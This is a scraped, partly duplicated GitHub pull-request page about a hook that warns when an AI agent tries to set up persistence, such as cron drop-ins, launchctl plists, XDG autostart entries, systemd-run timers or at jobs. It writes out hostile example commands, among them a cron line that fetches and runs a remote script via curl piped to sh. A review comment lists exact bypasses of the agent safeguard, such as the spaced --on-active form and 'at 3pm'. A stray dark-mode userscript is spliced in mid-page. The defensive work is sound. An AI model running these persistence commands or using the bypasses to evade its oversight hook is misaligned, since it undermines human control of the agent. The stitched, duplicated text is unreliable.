  • Unpatched 2173d23: 13 fail / 6 pass — every must-gate case fails, every control holds.
  • Patched: 19/19 pass.
  • Full suite: 850 tests, 848 pass, 2 fail — the two pre-existing grant-core-paths mixed-separator cases, identical before and after (verified by stashing the src change).

Residuals, stated

Reads of artifact paths warn too (string matchers cannot separate reader from writer); prose containing the literal words "at noon" fires; enabling an existing unit by name (systemctl enable --now x.timer) stays free; batch/anacron/fcron/SysWOW64 stay free; what a registered task later runs remains outside any hook — registration-time gating bounds what gets installed, not what installed things do at 03:00.

Signed receipt of the work session

Session stdio42-1f916-limit44-20260825, driven through the real hooks (manual argv/stdin path — this harness is not Claude Code; disclosed rather than claimed otherwise). Chain: seq 0 session-open, seq 1–2 policy-warn receipts for the cron-artifact and launchctl probes (controls stayed silent), seq 3 clean session close.

  • Head: 54d84b6ac586a7a88dbe2cd0f3916e428a3eba8e7a1b9460d2cdb052e8461172
  • Verifier output: VALID 4 entries, hashes and signatures check out
  • Bundle sha256: baff8adb49bb61ad369fc5078a0092fb6d144e326aea82c1a61be4a0dd5fcf48
  • No approval-key ceremony was run (warnings stage no tokens); KNOWN-LIMITS 1 and 22 apply as always.

Commit: 72c42a7

…ifact paths (KNOWN-LIMITS 44)
The matcher keyed on remembered verbs (schtasks /create,
Register-ScheduledTask, sc create, New-Service, crontab). Three
persistence shapes flowed free on unpatched main, verified through the
real PreToolUse hook (exit 0, silent stderr): a cron drop-dir written by
path with no crontab token anywhere in the string; launchctl load of a
LaunchAgents plist; an XDG autostart entry copied into place.
Invocation half: at(1) with a time spec anchored to command position,
systemd-run --on-* (both tokens required), launchctl
load|bootstrap|submit, Register-ScheduledJob.
Artifact half: one component-anchored path surface over /etc/cron.*,
/var/spool/cron, systemd unit dirs, Library/LaunchAgents|LaunchDaemons,
System32/Tasks (backslash folding covers the Windows spelling), and XDG
autostart. Checked from both halves: Edit/Write/NotebookEdit paths via
new Rule 7b under the existing scope-escalation rule id (no policy.json
change, no mode remapping), and any command naming the path — reads
included, per this file's standing rule that enumerating writers leaks
one class per round and crying wolf is the cheap failure.
Both new functions join matcherVersionHash parts, so the hash moves when
this behavior moves. Fail-first: test/policy-scheduled-task.test.js runs
13 must-gate cases against unpatched main and all 13 fail while 6
controls pass; after the fix, 19/19. Full suite 848/850, the only 2
failures the pre-existing grant-core-paths mixed-separator cases,
identical before and after. Design staged first at
proposals/scheduled-task-persistence.md.
@githubscum

Copy link
Copy Markdown
Owner

Review: accept, with one finding the entry's status line overstates

Post-merge review, run under the lotor-lane routine against 6d77e64 (this
change plus the four lane PRs that landed alongside it). The authorization to
spend a run on this review was signed on the desk 2026-09-01; the merge is
Isaac's and had already happened when the run fired, so this is a review of
live code on main rather than a gate on landing it.

Verdict: accept. The change is strictly additive, the fail-first evidence
is real, the residuals are stated against the author's own interest, and it
closes the half of limit 44 that the entry itself called the closest to right:
deciding by the artifact laid down rather than by a remembered verb. That is
the correct lesson and it is applied in the correct place.

Verified, not taken on report

  • Full suite on main at 6d77e64: 941 pass, 0 fail, exit 0. This matters
    more than the PR's own 848/2 number, which was measured against a
    2026-08-23 base. Four other PRs merged into the same tree the same morning;
    the combined result is clean.
  • normalizePath is a pure string fold
    (replace(/\\/g,'/').toLowerCase().replace(/\/+$/,'')) with no resolution
    or IO, so reusing it on whole command text in the artifact half is sound —
    it cannot throw and cannot reach the filesystem.
  • Component anchoring holds: the lookalike controls
    (/etc/systemd/system.conf, systemd-system-demo/, /etc/crontab-docs.md)
    return null through evaluate().
  • Rule 7b sits after the existing rules and behind a tool-name guard, so
    nothing that matched before can match less. Both new functions are joined
    into matcherVersionHash, so the hash of the matcher in force moves with
    this behavior. The pre-existing exclusion of isSelfModEdit is disclosed
    rather than quietly inherited.

What a reviewer should doubt — four bypasses that are not in the residuals

I probed the merged matcher directly rather than reasoning about the regexes.
Every case below is the same class this PR claims to close, and each is one
character or one token away from a worked example in the PR body:

GATE | systemd-run --on-active=30 touch /tmp/m <- the PR's own example
FREE | systemd-run --on-active 30 touch /tmp/m <- delete one '='
FREE | systemd-run --on-calendar "*:0/5" touch /tmp/m
GATE | echo x | at 03:00 <- the PR's own example
FREE | echo x | at 3pm
FREE | echo x | at 1730
FREE | echo x | at 10am tomorrow

Two causes, both narrow:

  1. SYSTEMD_RUN_SCHEDULED is /(^|\s)--on-[-a-z]+=/ and requires the =.
    systemd uses getopt_long with required_argument, which accepts
    --on-active 30 exactly as readily. The space form registers the same
    timer and walks past the rule.
  2. The at(1) time-spec alternation carries now|noon|midnight|teatime|today| tomorrow|HH:MM|+N but not the am/pm forms or bare HHMM, both of which
    at(1) accepts. at 3pm is not an exotic scheduler; it is the same binary
    this PR deliberately added.

Why this is worth saying rather than filing quietly. The entry's new status
line reads "closed for the honest-agent class." Against an honest agent the
distinction between --on-active=30 and --on-active 30 is a coin flip, not a
choice, so the class is not fully covered — and the residual list, which is
otherwise scrupulous, does not mention either form. The gap is not the code;
the code is good. The gap is that a reader of entry 44 now believes something
slightly stronger than what ships. On this file's own standing rule, crying
wolf is the cheap failure and silence is the expensive one, so both forms
should gate.

Suggested shape, both one-liners: make the = optional in
SYSTEMD_RUN_SCHEDULED (--on-[-a-z]+[=\s]), and add
\d{1,2}(:[0-5]\d)?\s*(am|pm) plus a bare four-digit HHMM to the at(1)
alternation. Each needs a control alongside it so at 12 files and prose do
not start firing.

This is a narrowing, not a closure, and the amendment should say so. The
lotor-lane routine will open a follow-up with the two matcher cases, their
fail-first tests, and an amendment to entry 44's status line. Filed here first
so the finding is attached to the change that produced it.

On the bounty

The desk row pay-auth-pr33 was signed 2026-09-01 and authorizes payment on
acceptance. Merged is accepted, so the row moves to needs_payment. Nothing
is marked paid by this lane, and the finding above does not reduce what is
owed: the residuals this PR did state are unusually honest work, and the two
it missed were found by a probe that only exists because the PR made the
surface legible enough to probe.

Reviewed by ike (lotor-lane run 8). Written on-meter and stated as such: the
870's local executors have failed to deliver artifacts of this size across
four measured runs, so the ladder was not exercised here.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

@pgrandin@githubscum
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode"); } } catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); } })(); })();
Skip to content

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44) - #33

Merged
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence
Sep 1, 2026
Merged

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44)#33
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence

Conversation

@pgrandin

Copy link
Copy Markdown
Contributor

Closes KNOWN-LIMITS 44 on the entry's own suggested shape. Design staged first at proposals/scheduled-task-persistence.md.

The hole, flowing free today

isScopeEscalation keyed on remembered verbs (schtasks /create, Register-ScheduledTask, sc create, New-Service, crontab). Three persistence shapes walk past it — verified through the real PreToolUse hook on unpatched main, exit 0, silent stderr:

printf '%s\n' '* * * * * curl -s http://x.example/p | sh' | tee /etc/cron.d/metrics # no crontab token, no script path
launchctl load ~/Library/LaunchAgents/com.sync.plist # macOS persistence
mkdir -p ~/.config/autostart && cp evil.desktop ~/.config/autostart/sync.desktop # XDG autostart
systemd-run --on-active=30 touch /tmp/heartbeat-marker # scheduled transient unit

After this patch, all four produce warn: scope-escalation (grazing mode; gate in herded), same treatment as the existing crontab coverage.

The fix (strictly additive)

  • Invocation halfat <timespec> anchored to command position with an at(1) time spec (now/noon/midnight/teatime/today/tomorrow/HH:MM/+N), systemd-run + --on-* required together (plain transient runs stay free), launchctl load|bootstrap|submit, Register-ScheduledJob.
  • Artifact half — one component-anchored path surface over /etc/cron.*, /var/spool/cron{,/atjobs}, systemd unit dirs (system + user), Library/Launch{Agents,Daemons}, System32/Tasks (backslash folding covers Windows), XDG autostart. Checked from Edit/Write/NotebookEdit paths via new Rule 7b under the existing scope-escalation rule id (no policy.json change, no mode remapping) and from any command naming the path — reads included, per this file's standing rule that enumerating writer binaries leaks one class per round.
  • Both new functions join matcherVersionHash parts, so the hash moves when this behavior moves.

Nothing existing can match less. Anchoring is by path component, so /etc/systemd/system.conf, ~/projects/systemd-system-demo/x.conf, and journalctl/systemctl status/launchctl list stay free.

Fail-first, then pass

test/policy-scheduled-task.test.js imports only symbols that exist on unpatched main so failures land per-case instead of crashing at import.

  • Unpatched 2173d23: 13 fail / 6 pass — every must-gate case fails, every control holds.
  • Patched: 19/19 pass.
  • Full suite: 850 tests, 848 pass, 2 fail — the two pre-existing grant-core-paths mixed-separator cases, identical before and after (verified by stashing the src change).

Residuals, stated

Reads of artifact paths warn too (string matchers cannot separate reader from writer); prose containing the literal words "at noon" fires; enabling an existing unit by name (systemctl enable --now x.timer) stays free; batch/anacron/fcron/SysWOW64 stay free; what a registered task later runs remains outside any hook — registration-time gating bounds what gets installed, not what installed things do at 03:00.

Signed receipt of the work session

Session stdio42-1f916-limit44-20260825, driven through the real hooks (manual argv/stdin path — this harness is not Claude Code; disclosed rather than claimed otherwise). Chain: seq 0 session-open, seq 1–2 policy-warn receipts for the cron-artifact and launchctl probes (controls stayed silent), seq 3 clean session close.

  • Head: 54d84b6ac586a7a88dbe2cd0f3916e428a3eba8e7a1b9460d2cdb052e8461172
  • Verifier output: VALID 4 entries, hashes and signatures check out
  • Bundle sha256: baff8adb49bb61ad369fc5078a0092fb6d144e326aea82c1a61be4a0dd5fcf48
  • No approval-key ceremony was run (warnings stage no tokens); KNOWN-LIMITS 1 and 22 apply as always.

Commit: 72c42a7

…ifact paths (KNOWN-LIMITS 44)
The matcher keyed on remembered verbs (schtasks /create,
Register-ScheduledTask, sc create, New-Service, crontab). Three
persistence shapes flowed free on unpatched main, verified through the
real PreToolUse hook (exit 0, silent stderr): a cron drop-dir written by
path with no crontab token anywhere in the string; launchctl load of a
LaunchAgents plist; an XDG autostart entry copied into place.
Invocation half: at(1) with a time spec anchored to command position,
systemd-run --on-* (both tokens required), launchctl
load|bootstrap|submit, Register-ScheduledJob.
Artifact half: one component-anchored path surface over /etc/cron.*,
/var/spool/cron, systemd unit dirs, Library/LaunchAgents|LaunchDaemons,
System32/Tasks (backslash folding covers the Windows spelling), and XDG
autostart. Checked from both halves: Edit/Write/NotebookEdit paths via
new Rule 7b under the existing scope-escalation rule id (no policy.json
change, no mode remapping), and any command naming the path — reads
included, per this file's standing rule that enumerating writers leaks
one class per round and crying wolf is the cheap failure.
Both new functions join matcherVersionHash parts, so the hash moves when
this behavior moves. Fail-first: test/policy-scheduled-task.test.js runs
13 must-gate cases against unpatched main and all 13 fail while 6
controls pass; after the fix, 19/19. Full suite 848/850, the only 2
failures the pre-existing grant-core-paths mixed-separator cases,
identical before and after. Design staged first at
proposals/scheduled-task-persistence.md.
@githubscum

Copy link
Copy Markdown
Owner

Review: accept, with one finding the entry's status line overstates

Post-merge review, run under the lotor-lane routine against 6d77e64 (this
change plus the four lane PRs that landed alongside it). The authorization to
spend a run on this review was signed on the desk 2026-09-01; the merge is
Isaac's and had already happened when the run fired, so this is a review of
live code on main rather than a gate on landing it.

Verdict: accept. The change is strictly additive, the fail-first evidence
is real, the residuals are stated against the author's own interest, and it
closes the half of limit 44 that the entry itself called the closest to right:
deciding by the artifact laid down rather than by a remembered verb. That is
the correct lesson and it is applied in the correct place.

Verified, not taken on report

  • Full suite on main at 6d77e64: 941 pass, 0 fail, exit 0. This matters
    more than the PR's own 848/2 number, which was measured against a
    2026-08-23 base. Four other PRs merged into the same tree the same morning;
    the combined result is clean.
  • normalizePath is a pure string fold
    (replace(/\\/g,'/').toLowerCase().replace(/\/+$/,'')) with no resolution
    or IO, so reusing it on whole command text in the artifact half is sound —
    it cannot throw and cannot reach the filesystem.
  • Component anchoring holds: the lookalike controls
    (/etc/systemd/system.conf, systemd-system-demo/, /etc/crontab-docs.md)
    return null through evaluate().
  • Rule 7b sits after the existing rules and behind a tool-name guard, so
    nothing that matched before can match less. Both new functions are joined
    into matcherVersionHash, so the hash of the matcher in force moves with
    this behavior. The pre-existing exclusion of isSelfModEdit is disclosed
    rather than quietly inherited.

What a reviewer should doubt — four bypasses that are not in the residuals

I probed the merged matcher directly rather than reasoning about the regexes.
Every case below is the same class this PR claims to close, and each is one
character or one token away from a worked example in the PR body:

GATE | systemd-run --on-active=30 touch /tmp/m <- the PR's own example
FREE | systemd-run --on-active 30 touch /tmp/m <- delete one '='
FREE | systemd-run --on-calendar "*:0/5" touch /tmp/m
GATE | echo x | at 03:00 <- the PR's own example
FREE | echo x | at 3pm
FREE | echo x | at 1730
FREE | echo x | at 10am tomorrow

Two causes, both narrow:

  1. SYSTEMD_RUN_SCHEDULED is /(^|\s)--on-[-a-z]+=/ and requires the =.
    systemd uses getopt_long with required_argument, which accepts
    --on-active 30 exactly as readily. The space form registers the same
    timer and walks past the rule.
  2. The at(1) time-spec alternation carries now|noon|midnight|teatime|today| tomorrow|HH:MM|+N but not the am/pm forms or bare HHMM, both of which
    at(1) accepts. at 3pm is not an exotic scheduler; it is the same binary
    this PR deliberately added.

Why this is worth saying rather than filing quietly. The entry's new status
line reads "closed for the honest-agent class." Against an honest agent the
distinction between --on-active=30 and --on-active 30 is a coin flip, not a
choice, so the class is not fully covered — and the residual list, which is
otherwise scrupulous, does not mention either form. The gap is not the code;
the code is good. The gap is that a reader of entry 44 now believes something
slightly stronger than what ships. On this file's own standing rule, crying
wolf is the cheap failure and silence is the expensive one, so both forms
should gate.

Suggested shape, both one-liners: make the = optional in
SYSTEMD_RUN_SCHEDULED (--on-[-a-z]+[=\s]), and add
\d{1,2}(:[0-5]\d)?\s*(am|pm) plus a bare four-digit HHMM to the at(1)
alternation. Each needs a control alongside it so at 12 files and prose do
not start firing.

This is a narrowing, not a closure, and the amendment should say so. The
lotor-lane routine will open a follow-up with the two matcher cases, their
fail-first tests, and an amendment to entry 44's status line. Filed here first
so the finding is attached to the change that produced it.

On the bounty

The desk row pay-auth-pr33 was signed 2026-09-01 and authorizes payment on
acceptance. Merged is accepted, so the row moves to needs_payment. Nothing
is marked paid by this lane, and the finding above does not reduce what is
owed: the residuals this PR did state are unusually honest work, and the two
it missed were found by a probe that only exists because the PR made the
surface legible enough to probe.

Reviewed by ike (lotor-lane run 8). Written on-meter and stated as such: the
870's local executors have failed to deliver artifacts of this size across
four measured runs, so the ladder was not exercised here.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

@pgrandin@githubscum